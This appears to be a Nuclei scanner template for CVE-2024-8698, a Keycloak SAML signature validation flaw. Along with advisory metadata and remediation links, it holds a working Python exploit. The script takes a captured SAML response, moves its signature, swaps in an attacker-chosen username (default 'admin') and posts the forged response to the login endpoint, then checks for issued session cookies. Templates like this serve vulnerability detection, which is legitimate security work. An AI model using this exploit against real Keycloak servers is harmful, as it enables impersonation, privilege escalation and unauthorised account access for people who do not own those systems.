id: CVE-2024-8698 info: name: Keycloak - SAML Core Package Signature Validation Flaw author: iamnoooob,rootxharsh,pdresearch severity: high description: | A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks. impact: | Attackers can create crafted SAML responses that bypass signature validation, potentially leading to privilege escalation, impersonation attacks, and unauthorized access to protected resources in Keycloak. remediation: | Apply Red Hat security updates (RHSA-2024:6878, RHSA-2024:6879, RHSA-2024:6880, RHSA-2024:6882) to address the SAML signature validation flaw in Keycloak XMLSignatureUtil class. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-8698 - https://access.redhat.com/errata/RHSA-2024:6878 - https://access.redhat.com/errata/RHSA-2024:6879 - https://access.redhat.com/errata/RHSA-2024:6880 - https://access.redhat.com/errata/RHSA-2024:6882 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L cvss-score: 7.7 cve-id: CVE-2024-8698 cwe-id: CWE-347 epss-score: 0.82215 epss-percentile: 0.99236 metadata: verified: true max-request: 1 vendor: redhat product: keycloak shodan-query: http.favicon.hash:"-1105083093" fofa-query: icon_hash=-1105083093 google-query: intitle:"keycloak" tags: cve,cve2024,keycloak,saml,signature,vuln variables: AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | import os import base64 import urllib.parse from lxml import etree # Get environment variables username = b'admin@example.com' saml_response = os.getenv('SAMLResponse') username = os.getenv('username') if not username: username='admin' # Decode and parse the SAML response xml_content = base64.b64decode(urllib.parse.unquote(saml_response)) parser = etree.XMLParser(remove_blank_text=True) root = etree.fromstring(xml_content, parser) # Define namespaces namespaces = { 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': 'http://www.w3.org/2000/09/xmldsig#' } # Find the element inside the root response_signature = root.find('.//ds:Signature', namespaces) if response_signature is not None: root.remove(response_signature) # Remove the element from the root # Find the element (this is the old assertion) old_ass = root.find('.//saml:Assertion', namespaces) ass_signode = old_ass.find('./ds:Signature',namespaces) if ass_signode is not None: old_ass.remove(ass_signode) issuer = root.find('.//saml:Issuer', namespaces) issuer.addnext(ass_signode) mod_ass = etree.fromstring(etree.tostring(old_ass)) mod_ass.find('.//saml:NameID',namespaces).text = username for s in mod_ass.findall('.//saml:AttributeValue',namespaces): s.text = username mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1] resp_issuer = root.find('.//samlp:Status', namespaces) resp_issuer.addnext(mod_ass) modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8') print(modified_saml_response) http: - raw: - | POST /realms/master/broker/saml/endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}} RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}} matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")' condition: and # digest: 4a0a00473045022100f355921f2c4beb6f3133b740a554cf08f840a1efede0e3af47ae063fe6e9ca7b022040448c61157ebc8f913e250ad914f9b524b85ff56accb259a99893ceb7096878:922c64590222798bb761d5b6d8e72950